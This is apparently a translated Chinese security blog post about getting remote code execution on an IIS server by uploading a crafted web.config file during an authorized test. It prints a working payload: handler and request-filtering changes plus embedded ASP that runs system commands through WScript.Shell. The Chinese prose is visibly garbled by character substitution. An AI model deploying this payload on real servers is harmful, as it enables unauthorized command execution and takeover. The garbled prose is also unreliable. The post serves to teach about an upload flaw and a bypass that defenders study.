快捷搜索:  网络  后门  CVE  渗透  木马  扫描  黑客  as

奇技淫巧 | 上传web.config文件获取遥程代码执行权限

RCE.jpg

本文讲述的是,我通过上传一个web.config文件,绕过目标测试网站的黑名单机制,突破执行权限定约,完成ASP代码运行获取遥程代码执行权限。

媒介

无聊的黉舍练习期,做完试验后无事可做,因而,在获得对黉舍网站的测试授权后,我就来了爱好。经过一番简单的前期侦测以后,我发现了某个网站存在的上传功能比较故意思。从服务探测阶段可知,该网站是一台IIS服务器,遇到这类网站,我通常会在网站URL中加上/<>来进行测试,由于ASP.NET默认配置有XSS攻击过滤功能,因而,黑客技术,服务器对/<>如许的测试返归了下列类似的错误响应新闻:

jjj.png

Server Error in ‘/’ Application.

A potentially dangerous Request.Path value was detected from the client (<).

在这个返归页底部,我查看到了详细的ASP.NET版本,还有一个Microsoft的服务器头信息:

Server: Microsoft-IIS/8.5

测试

有了这些信息以后,我就想看看是否存在一些未授权的文件上传功能。经过‘.aspx’、‘.asp’ 以及 ‘.asmx’等不同后缀文件的上传测试后,都是返归了错误新闻页面。

Description: Upload failed – Access Denied. User 1523151 does not have permissions to add content package to folder with ID 56424856

唉,得试着转变下思路。因为我有好多年的ASP.NET编程经验,经过了这些不同后缀的文件执行测试以后,我若干对这个网站的上传机制有所了解。能不能上传一个包含正常元数据以及与网站应用相干内容的文件呢?这里,我想到了‘.htaccess’ 文件,但由于这是一台Windows服务器,所以对应的文件应该是web.config,但我从来没尝试上传过这类.config文件啊。

Web.config文件

什么是web.config文件呢?

Web.config文件是一个XML文本文件,它用来储存ASP.NETWeb 应用程序的设置信息(如最经常使用的配置ASP.NETWeb 应用程序的身份验证方式),它可以出现在应用程序的每个目录中。当你通过.NET新建一个Web应用程序后,默认情形下会在根目录自动创建一个默认的Web.config文件,包括默认的设置配置,所有的子目录都继承它的设置配置。要是你想修改子目录的设置配置,你可以在该子目录下新建一个Web.config文件,它可以提供除从父目录继承的设置信息以外的设置信息,也能够重写或修改父目录中定义的配置。web.config文件放置在要目录下则会对全部网站产生影响,要是放置在别的目录之下,则只会对当前目录产生影响。

通过web.config文件,我们可以对下列网站属性进行控制:

Database connection strings. (数据库连接字符串)

Error behavior.(错误操作)

Security.(安全性)

由于web.config文件是XML文本,不像‘.html’ 或 ‘.txt等特殊后缀格式,所以,我想尝试来上传个web.config看看,这一传可不患了,竟然没返归任何错误响应新闻页面,而且这个web.config被成功上传到了目标服务器网站的某个目录下了。

行使web.config

好吧,现在我们想办法来行使这条路子,经过一番研究,我发现在这篇文章中有安全人员提到过,在web.config文件中添加代码完成了ASP代码运行的方式,因而,我经过改装,在其中添加了执行体系CMD命令的代码,以下:

<?xml version=”1.0″ encoding=”UTF-8″?>
<configuration>
<system.webServer>
<handlers accessPolicy=”Read, Script, Write”>
<add
 name=”web_config” path=”*.config” verb=”*” modules=”IsapiModule” 
scriptProcessor=”%windir%\system32\inetsrv\asp.dll” 
resourceType=”Unspecified” requireAccess=”Write” 
preCondition=”bitness64″ />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=”.config” />
</fileExtensions>
<hiddenSegments>
<remove segment=”web.config” />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<!–
<% Response.write(“-“&”->”)
Response.write(“</p>
<pre>”)</p>
<p>Set wShell1 = CreateObject(“WScript.Shell”)
Set cmd1 = wShell1.Exec(“whoami”)
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing</p>
<p>Response.write(output1)
Response.write(“</pre>
<p><!-“&”-“) %>
–>

以上代码在web.config中添加了一个可读可写权限的处理句柄程序,然后我们在<% %>之内写入了服务器端命令执行代码。当把这个web.config文件上传成功以后,阅读走访它,就会执行体系命令whoami命令,以后可成功返归 ‘nt authority\system,如许就获患了一个遥程代码执行权限!是否是很屌。剩下的就是好好写一份渗透排泄测试讲演,对这个漏洞进行上报了。

*参考来源:poc-server,FreeBuf 小编 clouds 编译,

您可能还会对下面的文章感兴趣: